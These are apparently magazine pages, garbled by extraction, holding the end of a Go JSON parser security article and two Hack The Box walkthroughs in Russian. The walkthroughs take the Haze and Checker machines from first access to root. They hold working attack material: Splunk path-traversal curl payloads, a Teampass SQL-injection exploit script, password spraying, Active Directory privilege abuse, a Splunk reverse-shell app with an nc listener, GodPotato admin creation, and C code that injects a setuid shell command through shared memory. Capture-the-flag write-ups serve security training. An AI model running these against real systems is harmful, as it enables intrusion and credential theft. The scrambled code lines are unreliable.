лиру ющи мися име нами при водит к ошиб ке. Поведе ние регули рует ся
опци ей ».

•

jsontext.AllowDuplicateNames
Учи тыва ется регистр при сов падении: «...в v2 поля сов пада ют точ но, с уче -
том регис тра. Опции  и 

 кон тро лиру ют это поведе ние».

•
MatchCaseInsensitiveNames jsonv1.

MatchCaseSensitiveDelimiter
Есть опция , хотя она не вклю чена по умол чанию
(ана логич на ).

• RejectUnknownMembers
DisallowUnknownFields

Есть воз можность обра баты вать дан ные из  с помощью фун -
кции , про веряя наличие EOF и не допус кая лиш них дан -
ных в кон це.

• io.Reader
UnmarshalRead

Хо тя это пред ложение реша ет мно гие обсужда емые здесь проб лемы, труд -
ности в эко сис теме Go сох ранят ся, пока нов шес тво не наберет популяр ность.
Спер ва нуж но офи циаль ное одоб рение, пос ле чего раз работ чикам при дет ся
внед рять это решение в весь сущес тву ющий код на Go, пар сящий JSON. Пока
это го не слу чит ся, уяз вимос ти про дол жат соз давать рис ки.

ÏÀÌßÒÊÀ ÄËß ÐÀÇÐÀÁÎÒ×ÈÊÀ

1.  Для JSON исполь зуй
, для YAML — . Увы,

это все, что реаль но мож но сде лать с API пар сера нап рямую в Go.

Âêëþ ÷è ñòðî ãèé ïàð ñèíã ïî óìîë ÷àíèþ.

DisallowUnknownFields KnownFields(true)

2.  Ког да дан ные про ходят через
нес коль ко сер висов, убе дись, что пар синг работа ет пос ледова тель но, —
исполь зуй оди нако вый пар сер или добавь допол нитель ные уров ни
валида ции, нап ример такую шту ку, как .

Ñîõ ðàíÿé êîí ñèñòåí òíîñòü íà ãðà íèöàõ.

strictJSONParse
3.  Пог лядывай за раз работ кой биб лиоте ки

 для Go, которая реша ет мас су проб лем, пред лагая более
безопас ные дефол ты.

Ñëå äè çà ïðîã ðåññîì JSON v2.

JSON v2

4.  Вру бай пра вила Semgrep, что бы

выловить уяз вимые пат терны в сво ем коде, осо бен но некор рек тное
исполь зование тега  и полей . Поп робуй запус тить соз данные
нами пра вила.

Èñ ïîëü çóé ñòà òè÷åñ êèé àíà ëèç.

- omitempty

ÂÛÂÎÄÛ

Мы пред ложили спо собы смяг чить пос ледс твия и методы обна руже ния, но в
дол госроч ной пер спек тиве все рав но при дет ся менять под ход к работе пар -
серов. Пока биб лиоте ки пар серов не выберут безопас ность по умол чанию,
раз работ чикам нуж но дер жать ухо вос тро.

https://github.com/golang/go/issues/14750
https://seriot.ch/projects/parsing_json.html
https://bishopfox.com/blog/json-interoperability-vulnerabilities
https://nvd.nist.gov/vuln/detail/cve-2020-16250
https://googleprojectzero.blogspot.com/2020/10/enter-the-vault-auth-issues-hashicorp-vault.html
https://docs.aws.amazon.com/STS/latest/APIReference/API_GetCallerIdentity.html
https://github.com/golang/go/issues/36225
https://pkg.go.dev/encoding/json#Decoder.DisallowUnknownFields
https://github.com/golang/go/issues/30301
https://github.com/golang/go/issues/71497
https://github.com/golang/go/issues/71497
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ВЗЛОМ

Се год ня мы про экс плу ати руем уяз вимость
в монито рин говой сис теме Splunk, что бы
получить учет ные дан ные. Затем для ком -
про мета ции нес коль ких учет ных записей
про экс плу ати руем раз решения, а для
повыше ния при виле гий ском про мети руем
админ скую учет ку Splunk и добавим свой
модуль для уста нов ления при виле гиро ван -
ной сес сии.

На ша цель — получе ние прав супер поль зовате ля на машине Haze с учеб ной
пло щад ки . Уро вень задания — слож ный.Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
с при мене нием средств ано ними зации и вир -
туали зации. Не делай это го с компь юте ров, где
есть важ ные для тебя дан ные, так как ты ока -
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.61    haze.htb

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз -
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

 
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '
  | s/, /' ',' sed $/ )

nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска -
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел 14 откры тых пор тов:
88 — Kerberos;•
135 — Microsoft RPC;•
139 — NetBIOS, NetLogon;•
389 — LDAP;•
445 — SMB;•
464 — служ ба сме ны пароля Kerberos;•
593 (HTTP-RPC-EPMAP) — исполь зует ся в служ бах DCOM и MS Exchange;•
636 — LDAP с шиф ровани ем SSL или TLS;•
3268 (LDAP) — для дос тупа к Global Catalog от кли ента к кон трол леру;•
3269 (LDAPS) — для дос тупа к Global Catalog от кли ента к кон трол леру
через защищен ное соеди нение;

•

5985 — служ ба уда лен ного управле ния WinRM;•
пор ты 8000, 8088, 8089 — сис тема Splunk.•

Нач нем, конеч но же, с прос мотра Splunk.

Стра ница авто риза ции Splunk

Стра ница сер виса Splunkd

ÒÎ×ÊÀ ÂÕÎÄÀ

На вто ром сай те нам откры вает ся вер сия Splunk — 9.2.1. Сра зу сто ит про -
верить, есть ли для нее готовые экс пло иты. Пер вым делом прос то ищем
в Google.

По иск экс пло итов в Google

И находим  в бло ге SonicWall, где под робно раз бира ется уяз вимость
. Она поз воля ет обхо дить пути с эндпо инта 

 и читать про изволь ные фай лы. По номеру CVE находим
и рабочий  на GitHub. Он поз воля ет получать учет ные дан ные из базы
дан ных.

пост
CVE-2024-36991 /modules/
messaging/

PoC

python3 CVE-2024-36991.py -u http://10.10.11.61:8000

Про вер ка уяз вимос ти

ÒÎ×ÊÀ ÎÏÎÐÛ

У нас есть воз можность читать фай лы, поэто му при кинем, что может быть
инте рес ного. Я не стал замора чивать ся и спро сил у ChatGPT, какие кон фиги
Splunk могут ока зать ся полез ны, а так же что в них содер жится.

Ин терес ные фай лы Splunk

В фай ле  находим зашиф рован ные тех ничес кие пароли, а в
 есть домен ные учет ные дан ные поль зовате ля 

 для свя зи с LDAP.

server.conf
authentication.conf Paul
Taylor

curl  -s 'http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../
C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/system/local/
server.conf'

Со дер жимое фай ла server.conf

curl  -s 'http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../
C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/system/local/
authentication.conf'

Со дер жимое фай ла authentication.conf

Что бы рас шифро вать пароли, нам нужен ключ из фай ла 

.

auth/splunk.
secret

curl  -s 'http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../
C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/auth/splunk.
secret'

Со дер жимое фай ла splunk.secret

Ког да у нас есть ключ, мы можем исполь зовать скрипт 

для рас шифро выва ния паролей. При запус ке ука зыва ем файл 
, пос ле чего вво дим зашиф рован ные дан ные и получа ем пароль

в откры том виде.

splunksecrets

splunk.
secret

pip install splunksecrets
splunksecrets splunk-decrypt -S splunk.secret

Рас шифро выва ние пароля

У нас есть пароль, но нет логина. По име ни поль зовате ля мож но сос тавить
спи сок всех воз можных вари антов учет ной записи. Для это го исполь зуем сле -
дующий скрипт.

  names = ["Paul Taylor"]
  list = []
   for name in names:

       n1, n2 = name.split(' ')
    list.append(n1)
    list.append(n1+n2)
    list.append(n1+"."+n2)
    list.append(n1+"-"+n2)
    list.append(n1+"_"+n2)
    list.append(n1+n2[0])
    list.append(n1+"."+n2[0])
    list.append(n1+"-"+n2[0])
    list.append(n1+"_"+n2[0])
    list.append(n2[0]+n1)
    list.append(n2[0]+"."+n1)
    list.append(n2[0]+"-"+n1)
    list.append(n2[0]+"_"+n1)
    list.append(n2)
    list.append(n2+n1)
    list.append(n2+"."+n1)
    list.append(n2+"-"+n1)
    list.append(n2+"_"+n1)
    list.append(n2+n1[0])
    list.append(n2+"."+n1[0])
    list.append(n2+"-"+n1[0])
    list.append(n2+"_"+n1[0])
    list.append(n1[0]+n2)
    list.append(n1[0]+"."+n2)
    list.append(n1[0]+"-"+n2)
    list.append(n1[0]+"_"+n2)

   for n in list:
    print(n)

За тем переби раем логины с помощью  и получа ем учет ную запись

в нуж ном фор мате.

NetExec

 nxc smb 10.10.11.61 -u taylor_users.txt -p 'Ld@p_Auth_Sp1unk@2k24'

Ре зуль тат под бора учет ных дан ных

Те перь мы можем переб рать RID объ ектов домена и тем самым получить
име на групп и поль зовате лей домена.

Ис поль зуем параметр .--rid-brute

    nxc smb 10.10.11.61 -u 'Paul.Taylor' -p 'Ld@p_Auth_Sp1unk@2k24'
--rid-brute

Объ екты домена

Сох раня ем поль зовате лей домена в отдель ный файл и про веря ем, не подой -
дет ли име ющий ся у нас пароль еще к какой-нибудь учет ной записи. Так мы
ском про мети руем учет ную запись .mark.adams

  nxc smb 10.10.11.61 -u users.txt -p 'Ld@p_Auth_Sp1unk@2k24'
--continue-on-success

Ре зуль тат под бора учет ных дан ных

NetExec поз воля ет про верить, име ет ли поль зователь воз можность получить
сес сию через WinRM.

 nxc winrm 10.10.11.61 -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24'

Ре зуль тат про вер ки учет ной записи

Для получе ния сес сии через WinRM вос поль зуем ся ути литой .Evil-WinRM

 evil-winrm -i 10.10.11.61 -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24'

Сес сия поль зовате ля mark.adams

ÏÐÎÄÂÈÆÅÍÈÅ

В рабочем окру жении поль зовате ля ничего инте рес ного не находим, поэто му
соберем базу BloodHound.

Ути лита  исполь зует теорию гра фов для выяв ления скры тых
и зачас тую неп редна мерен ных вза имос вязей в сре де Active Directory. Ее мож -
но исполь зовать, что бы лег ко иден тифици ровать очень слож ные пути ата ки.

BloodHound

Для сбо ра базы BloodHound будем исполь зовать . Ском -
пилиру ем вер сию для Windows, заг рузим на уда лен ный хост и запус тим ска -
ниро вание.

RustHound-CE

.\RustHound-CE.exe -d haze.htb -u mark.adams -p 
'Ld@p_Auth_Sp1unk@2k24' -c All -z

Дан ные получа ем очень быс тро. Ска чива ем ито говый архив и стро им граф
от поль зовате ля .MARK.ADAMS

Граф BloodHound

Поль зователь  сос тоит в груп пе . Эта груп па дол -

жна давать нам пра во управле ния gMSA. Но так как боль ше никаких свя зей
BloodHound не отоб разил, про верим раз решения записи в атри буты более
углублен но с помощью .

MARK.ADAMS GMSA_MANAGERS

bloodyAD

  bloodyAD -d haze.htb -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24' --host 
10.10.11.61 get writable --right WRITE --detail

Раз решения для mark.adams

Та ким обра зом, поль зователь  име ет пра во записи в атри бут

 объ екта . Этот атри бут содер жит
спи сок SID в фор мате SDDL, для которых раз решено исполь зование учет ных
записей gMSA. Так как у нас есть пра во записи, про пишем в этом атри буте
учет ку .

MARK.ADAMS
msDS-GroupMSAMembership Haze-IT-Backup

mark.adams

Set-ADServiceAccount -Identity "Haze-IT-Backup$" 
-PrincipalsAllowedToRetrieveManagedPassword mark.adams

Уп равля емые учет ные записи (MSA) — это спе циаль ный тип учет ных записей
Active Directory, которые мож но исполь зовать для безопас ного запус ка служб,
при ложе ний и заданий пла ниров щика.

Ос новная идея MSA в том, что паролем пол ностью управля ет Active
Directory. Для таких уче ток авто мати чес ки генери рует ся слож ный пароль дли -
ной 240 сим волов, который меня ется авто мати чес ки каж дые 30 дней.
Для аутен тифика ции исполь зует ся толь ко Kerberos, так как инте рак тивный
вход невоз можен. Это свя зано с тем, что пароль не известен никому и не хра -
нит ся в локаль ной сис теме, поэто му его нель зя извлечь из сис темно го про -
цес са LSASS с помощью Mimikatz.

Но и такими учет ными запися ми нуж но как-то управлять, а это зна чит, что,
если у нас есть к ним дос туп, мы можем получить хеш пароля.

Из вле чем из MSA хеш пароля при помощи NetExec.

  nxc ldap 10.10.11.61 -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24' --gmsa

По луче ние хеша учет ной записи Haze-IT-Backup$

Продолжение статьи →
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АТАКУЕМ МОНИТОРИНГ SPLUNK,
ЧТОБЫ ЗАХВАТИТЬ СЕРВЕР

НА WINDOWS

ВЗЛОМ  НАЧАЛО СТАТЬИ

Мы ском про мети рова ли еще одну учет ную запись, про верим ее раз решения
на дру гие объ екты.

   
 

bloodyAD -d haze.htb -u 'HAZE-IT-BACKUP$' -p ':
a70df6599d5eab1502b38f9c1c3fd828' --host 10.10.11.61 get writable 
--right WRITE --detail

Раз решения для HAZE-IT-BACKUP$

Как видишь, учет ная запись  может перепи сать вла дель ца

груп пы . Сде лаем себя вла дель цем груп пы.

HAZE-IT-BACKUP$
Support_Services

   
 

 

bloodyAD -d haze.htb -u 'HAZE-IT-BACKUP$' -p ':
a70df6599d5eab1502b38f9c1c3fd828' --host 10.10.11.61 set owner 
'SUPPORT_SERVICES' 'Haze-IT-Backup$'

Ре зуль тат выпол нения коман ды

Вла делец объ екта AD может наз начать раз решения на объ ект, поэто му выда -
ем себе пол ный кон троль над груп пой .Support_Services

   
 

 

bloodyAD -d haze.htb -u 'HAZE-IT-BACKUP$' -p ':
a70df6599d5eab1502b38f9c1c3fd828' --host 10.10.11.61 add genericAll 
'SUPPORT_SERVICES' 'Haze-IT-Backup$'

Ре зуль тат выпол нения коман ды

Те перь, ког да у нас есть пол ный дос туп к груп пе, сде лаем себя ее чле ном.

   
 

 

bloodyAD -d haze.htb -u 'HAZE-IT-BACKUP$' -p ':
a70df6599d5eab1502b38f9c1c3fd828' --host 10.10.11.61 add groupMember 
'SUPPORT_SERVICES' 'Haze-IT-Backup$'

Ре зуль тат выпол нения коман ды

Пос ле добав ления учет ной записи  в груп пу

 сно ва прос каниру ем раз решения записи в атри буты объ -

ектов AD.

HAZE-IT-BACKUP$
Support_Services

   
 

bloodyAD -d haze.htb -u 'HAZE-IT-BACKUP$' -p ':
a70df6599d5eab1502b38f9c1c3fd828' --host 10.10.11.61 get writable 
--right WRITE --detail

Раз решения для HAZE-IT-BACKUP$

Те перь поль зователь  име ет пра во записи в атри бут 

 объ екта , а зна чит, мы можем про вес ти
ата ку Shadow Credentials.

HAZE-IT-BACKUP$ msDS-
KeyCredentialLink Edward.Martin

Тех ника Shadow Credentials поз воля ет ата кующе му зав ладеть учет ной
записью поль зовате ля или компь юте ра, если получит ся изме нить атри бут

 целево го объ екта и добавить к нему аль тер натив -

ные учет ные дан ные, такие как сер тификат. Затем по сер тифика ту мы получим
его билет TGT, из которо го извле чем NTLM-хеш пароля поль зовате ля. Это все
про исхо дит авто мати чес ки в коман де . Но пред варитель но
син хро низи руем вре мя с сер вером.

msDS-KeyCredentialLink

certipy shadow

   
  

faketime -f "+8h" certipy shadow auto -u 'HAZE-IT-BACKUP$@haze.htb'
-hashes ':a70df6599d5eab1502b38f9c1c3fd828' -dc-ip 10.10.11.61 
-account Edward.Martin

Экс плу ата ция Shadow Credentials

По луча ем хеш пароля учет ной записи, авто ризу емся в служ бе WinRM и чита -
ем пер вый флаг.

evil-winrm -i 10.10.11.61 -u edward.martin -H 
09e0b3eeb2e7a6b0d419e9ff8f4d91af

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Прос матри ваем информа цию о поль зовате ле и видим, что он вхо дит в груп пу
.Backup_Reviewers

whoami /all

Ин форма ция о поль зовате ле

Про веря ем катало ги на дис ке и находим каталог . Внут ри — резер -

вная копия сер виса Splunk, которую ска чива ем на свою машину через Evil-
WinRM.

Backups

Со дер жимое катало га Backups

Заг рузка резер вной копии

Рас паку ем архив и най дем в нем зашиф рован ные пароли по сиг натуре «дол -
лар-еди ница-дол лар».

По иск паролей

Най ден ный пароль рас шифро выва ем с помощью сек рета 
.

Splunk/etc/auth/
splunk.secret

splunksecrets splunk-decrypt -S Splunk/etc/auth/splunk.secret

Рас шифро выва ние пароля

Па роль никуда в домене не подошел, зато мы можем авто ризо вать ся
как Administrator сер виса Splunk.

Па нель адми нис тра тора Splunk

Ад минис тра тор Splunk может уста новить в сер висе свое при ложе ние, а это
дает нам воз можность выпол нять про изволь ный код от име ни учет ной записи.
В качес тве шаб лона при ложе ния вос поль зуем ся , где
уже про писан реверс-шелл для Windows- и Unix-сис тем. Пер вым делом
откро ем файл  и вста вим свои дан ные для под клю чения.

ко дом из репози тория

run.ps1

Со дер жимое фай ла run.ps1

Те перь заар хивиру ем каталог при ложе ния и сох раним в фор мате .spl

 tar -cvzf reverse_shell_splunk.tgz reverse_shell_splunk
mv reverse_shell_splunk.tgz reverse_shell_splunk.spl

Ког да все будет готово, на ука зан ном пор те запус тим лис тенер:

rlwrap nc -nlvp 4321

Те перь перей дем на стра ницу  и заг рузим наш

архив.

Install app from file

Стра ница при ложе ний

Заг рузка фай ла

Вско ре в лис тенере уви дим вхо дящее соеди нение от име ни 

.

alexander.
green

Сес сия поль зовате ля alexander.green

System
Вни мание прив лека ют при виле гии текуще го поль зовате ля. У юзе ра вклю чена
при виле гия  (пра во «Оли цет ворять кли ента пос ле

про вер ки под линнос ти»). Как говорит Microsoft:

SeImpersonatePrivilege

«
»

Ïðèñ âîåíèå ïîëü çîâàòå ëþ ïðà âà «Îëè öåò âîðÿòü êëè åíòà ïîñ ëå ïðî -
âåð êè ïîä ëèííîñ òè» ðàç ðåøà åò ïðîã ðàììàì, çàïóùåí íûì îò èìå íè
äàí íîãî ïîëü çîâàòå ëÿ, îëè öåò âîðÿòü êëè åíòà. Èñïîëü çîâàíèå äàí íîãî
ïàðàìåò ðà ïðå äîò âðà ùàåò îëè öåò âîðåíèå íåàâ òîðèçî âàí íûìè ñåð -
âåðàìè êëè åíòîâ, ïîä êëþ ÷àþùèõ ñÿ ê ýòèì ñåð âåðàì ñ ïîìîùüþ ïðî -
öåäóð RPC èëè èìå íîâàí íûõ êàíàëîâ.

Дру гими сло вами: эта при виле гия поз воля ет ими тиро вать любой токен, дес -
крип тор которо го мы смо жем получить. Это явный век тор повыше ния при -
виле гий! Вос поль зуем ся  для соз дания сво его поль зовате ля.GodPotato

gp.exe -cmd "cmd /c net user ralf Qwerty123 /add"

Ре зуль тат выпол нения коман ды

Как показы вает коман да , поль зователь был соз дан, а зна чит, мы

можем выпол нять коман ды в при виле гиро ван ном кон тек сте. Добавим соз -
данно го поль зовате ля в груп пу адми нис тра торов и получим сес сию через
WinRM.

net users

.\gp.exe -cmd "cmd /c net localgroup Administrators ralf /add"

evil-winrm -i 10.10.11.61 -u ralf -p Qwerty123

Флаг рута

Ма шина зах вачена!

https://github.com/0xjpuff/reverse_shell_splunk
https://github.com/BeichenDream/GodPotato


RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

Се год ня я покажу, как мож но ата ковать
при ложе ние, исполь зующее раз деля емую
память в Linux. Мы внед рим свои дан ные,
что бы добить ся выпол нения команд в при -
виле гиро ван ном режиме. Но для начала
про экс плу ати руем баги в веб-при ложе ниях
Teampass и BookStack для получе ния учет -
ных дан ных и сес сии на сер вере.

На ша конеч ная цель — получе ние прав супер поль зовате ля на машине
Checker с учеб ной пло щад ки . Уро вень задания — слож ный.Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
с при мене нием средств ано ними зации и вир -
туали зации. Не делай это го с компь юте ров, где
есть важ ные для тебя дан ные, так как ты ока -
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.56    checker.htb

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз -
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

 
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '
  | s/, /' ',' sed $/ )

nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска -
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел три откры тых пор та:
22 — служ ба OpenSSH 8.9p1;•
пор ты 80 и 8080 — веб-сер вер Apache.•

Взгля нем на пор ты веб-сер вера. На пер вом нас встре чает фор ма авто риза -
ции BookStack, на вто ром раз вернут сер вис Teampass.

Стра ница авто риза ции BookStack

Стра ница авто риза ции Teampass

ÒÎ×ÊÀ ÂÕÎÄÀ

В  мож но уви деть обра щение к домену .Burp History vault.checker.htb

Burp History

Об новля ем запись в фай ле . На новом домене встре тим уже зна -

комый нам BookStack.

/etc/hosts

10.10.11.56 checker.htb vault.checker.htb

Так как делать боль ше нечего, сто ит про верить, есть ли для обна ружен ных
веб-при ложе ний готовые экс пло иты.

По иск экс пло итов в Google

По иски при вели меня к экс пло иту для уяз вимос ти .CVE-2023-1545
Teampass до вер сии 3.0.0.23 уяз вим к SQL-инъ екции в эндпо инте 

. Исполь зуем сле дующий экс пло ит и получа ем из базы
при ложе ния учет ные дан ные.

/api/
index.php/authorize

    1  if [ "$#" -lt ]; then
   echo "Usage: $0 <base-url>"

  1exit 
fi

vulnerable_url="$1/api/index.php/authorize"

curl  check=$( --silent "$vulnerable_url")
  |    if echo "$check" grep -q "API usage is not allowed"; then
   echo "API feature is not enabled :-("

  1exit 
fi

# htpasswd -bnBC 10 "" h4ck3d | tr -d ':\n'
arbitrary_hash='$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/
iDuKlIkMbhq'

 exec_sql() {
  inject="none' UNION SELECT id, '$arbitrary_hash', ($1), 
private_key, personal_folder, fonction_id, groupes_visibles, 
groupes_interdits, 'foo' FROM teampass_users WHERE login='admin"
  login foodata="{" ":""$inject"","password":"h4ck3d", "apikey": " "}"
  curl    

   
token=$( --silent --header "Content-Type: application/json" -X 

POST --data "$data" "$vulnerable_url" | jq -r '.token')
    |    |   echo $(echo $token cut -d"." -f2 base64 -d 2>/dev/null | jq -r
'.public_key')
}

users=$(exec_sql "SELECT COUNT(*) FROM teampass_users WHERE pw != ''"
)

 echo "There are $users users in the system:"

i  0  for in `seq $(($users-1))`; do
  username=$(exec_sql "SELECT login FROM teampass_users WHERE pw != 
'' ORDER BY login ASC LIMIT $i,1")
  password=$(exec_sql "SELECT pw FROM teampass_users WHERE pw != '' 
ORDER BY login ASC LIMIT $i,1")
   echo "$username: $password"
done

Учет ные дан ные из базы Teampass

Ос талось проб рутить хеши. Исполь зуем для это го  в режиме 3200.hashcat

hashcat -m 3200 hashes.txt rockyou.txt

Ре зуль тат под бора пароля

С получен ными учет ными дан ными авто ризу емся в Teampass и собира ем сох -
ранен ные там пароли. Получа ем ключ поль зовате ля  для SSH.reader

Сох ранен ные учет ные дан ные

Пос ле авто риза ции в SSH у нас зап рашива ется про вероч ный код, а зна чит,
на сер вере исполь зует ся двух фактор ная аутен тифика ция.

Ав ториза ция в SSH

ÒÎ×ÊÀ ÎÏÎÐÛ

В Teampass еще есть учет ные дан ные для вхо да в BookStack.

Сох ранен ные учет ные дан ные

Глав ная стра ница BookStack

Чи таем дос тупные стра ницы в надеж де най ти что-то инте рес ное.
В раз деле Linux security находим информа цию об исполь зовании Google

Authenticator, а так же рас кры ваем путь , куда сох раня -
ются катало ги .

/backup/home_backup
/home

Раз дел Linux security

Burp сос тавля ет дерево посещен ных стра ниц и катало гов, в дан ном слу чае
это помога ет нам узнать вер сию исполь зуемо го веб-при ложе ния — 23.10.2.

Де рево катало гов Burp

Как и в прош лый раз, поищем для обна ружен ной вер сии извес тные уяз вимос -
ти и пуб личные экс пло иты.

По иск экс пло итов в Google

Ре серч по  говорит о том, что в этой вер сии веб-при ложе ния
есть уяз вимость  и что в опре делен ных слу чаях Blind SSRF
в при ложе нии может при вес ти к LFI на сер вере. Для экс плу ата ции уяз вимос ти
нам спер ва нуж но соз дать стра ницу и впи сать ран домный тег.

пер вой ссыл ке
CVE-2023-6199

Соз дание стра ницы BookStack

Те перь в Burp History най дем зап рос к API ./ajax/page/<id>/save-draft

Зап рос к API

Зна чения  и  будем исполь зовать в 

для чте ния фай ла, содер жащего сид для генера ции одно разо вого пароля:

X-CSRF-TOKEN Cookie го товом экс пло ите

/backup/home_backup/home/reader/.google_authenticator

Эк сфиль тра ция фай ла про изво дит ся посим воль но, поэто му она заняла око ло
девяти минут.

 PUT 
  

 

python3 filters_chain_oracle_exploit.py --parameter html --verb
--file '/backup/home_backup/home/reader/.google_authenticator'
--target http://checker.htb/ajax/page/9/save-draft --headers '{
"X-CSRF-TOKEN":"Iqzi1thp90sOqeuYYtWy6czsqyacLI9BpL8ADkcU",
"Content-Type":"application/x-www-form-urlencoded","Cookie":
"XSRF-TOKEN=eyJp...0%3D; bookstack_session=eyJp...0%3D"}'

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-1545
https://fluidattacks.com/advisories/imagination/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-6199
https://github.com/AbdrrahimDahmani/php_filter_chains_oracle_exploit_for_CVE-2023-6199


РЕДАКТИРУЕМ РАЗДЕЛЯЕМУЮ
ПАМЯТЬ ДЛЯ ИНЪЕКЦИИ КОМАНД
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ВЗЛОМ  НАЧАЛО СТАТЬИ

Дан ные для TOTP

Что бы TOTP-код рас счи тывал ся с уче том вре мени сер вера, напишем скрипт
на Python. Он будет отправ лять HTTP-зап рос на нуж ный веб-сер вер, извле -
кать зна чение заголов ка Date из отве та и исполь зовать это вре мя для генера -
ции одно разо вого пароля на осно ве задан ного сек рета. Получив TOTP, сра зу
авто ризу емся по SSH.

 import requests
 import pyotp

   from datetime import datetime
 import time
 import calendar

  secret = "DVDBRAODLCWF7I2ONA4K5LQLUE"

  response = requests.get("http://checker.htb")
   if response.status_code == 200:

      headers = response.headers
      server_time = headers.get("Date")
    print(server_time)
     if server_time:

           dt = datetime.strptime(server_time, "%a, %d %b %Y %H:%M:%S 
GMT")

          timestamp = calendar.timegm(dt.timetuple())

          totp = pyotp.TOTP(secret)
          otp_at_time = totp.at(timestamp)

        print(otp_at_time)

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Пер вым делом про верим нас трой ки sudoers.

 sudo -l

Нас трой ки sudoers

Су дя по ним, мы можем без вво да пароля выпол нить коман ду 

 в при виле гиро ван ном кон тек сте. Про верим, что
внут ри у это го скрип та.

/opt/hash-
checker/check-leak.sh

Со дер жимое фай ла check-leak.sh

В скрип те про изво дит ся запуск фай ла .

Как показа ла ути лита , файл пред став ляет собой пол ноцен ный ELF —

исполня емый код для Linux.

/opt/hash-checker/check_leak
file

Ин форма ция о фай ле check_leak

Сде лав пару тес товых записей, понима ем, что фай лу нуж но ука зать не сис -
темных поль зовате лей, а одно го из поль зовате лей Teampass.

Тес товый запуск при ложе ния

Ря дом с ELF мож но най ти и файл с хешами.

Со дер жимое фай ла leaked_hashes.txt

Ска чива ем файл  на свой хост для ана лиза. В качес тве дизас сем -

бле ра с деком пилято ром я исполь зую IDA Pro. Начина ем ана лиз с фун кции
.

check_leak

main
Ин терес пред став ляют самопис ные фун кции  (стро ка 71)

и  (стро ка 77). Меж ду вызова ми этих фун кций исполь зует ся

задер жка  на одну секун ду (стро ка 76).

write_to_shm
notify_user

sleep()

Код фун кции main

В фун кции  псев дослу чай ным обра зом генери рует ся ключ

для  (стро ки 30–33). Эта  свя зыва ет ключ с раз деля емым
(общим) сег ментом памяти.

write_to_shm
shmget фун кция

Код фун кции write_to_shm

Зная ключ, с которым свя зана общая память, мы можем под клю чить в свой
про цесс этот же сег мент памяти. Так как ключ генери рует ся на осно ве зна -
чения , мы можем пре дуга дать зна чение клю ча в опре делен ный

момент вре мени.

time(0)

В фун кции  про исхо дит про вер ка зна чения в общей памяти.

Блоб дан ных дол жен содер жать стро ку  (стро ки 53–
58). Затем про исхо дит про вер ка наличия в стро ке сим вола с кодом 62 (сим -
вол , стро ка 59).

notify_user
Leaked hash detected

>

Код фун кции notify_user

Да лее фор миру ется коман да , которая выпол няет ся в сис темном тер -

минале (стро ки 78–95).

mysql

Код фун кции notify_user

Пе ремен ная  в коде выше свя зана с общей памятью, а зна чит, если мы

получим дос туп к ней, запишем стро ку  и сим вол ,

зак роем коман ду  сим волами  и переда дим коман ду 
, то у нас получит ся про экс плу ати ровать уяз вимость OS

Command Injection. Фор мировать ключ будем как в исходной коман де.

v19
Leaked hash detected >

mysql '; chmod u+s /
bin/bash; #

 #include <stdio.h>
 #include <time.h>
 #include <stdlib.h>
 #include <sys/ipc.h>
 #include <sys/shm.h>
 #include <string.h>

  int main() {
     srand((unsigned int)time(NULL));
         key_t key = rand() % 0xFFFFF;

           int shmid = shmget(key, 0x400, IPC_CREAT | 0666);
        if (shmid < 0) {
        perror("error shmget");

         return 1;
    }

          char *share_memory = (char*) shmat(shmid, NULL, 0);
        if (share_memory == (char*)-1) {
        perror("error shmat");

         return 1;
    }

        const char *message = "Leaked hash detected > '; chmod u+s /bin/
bash; #";
        snprintf(share_memory, 0x400, "%s", message );

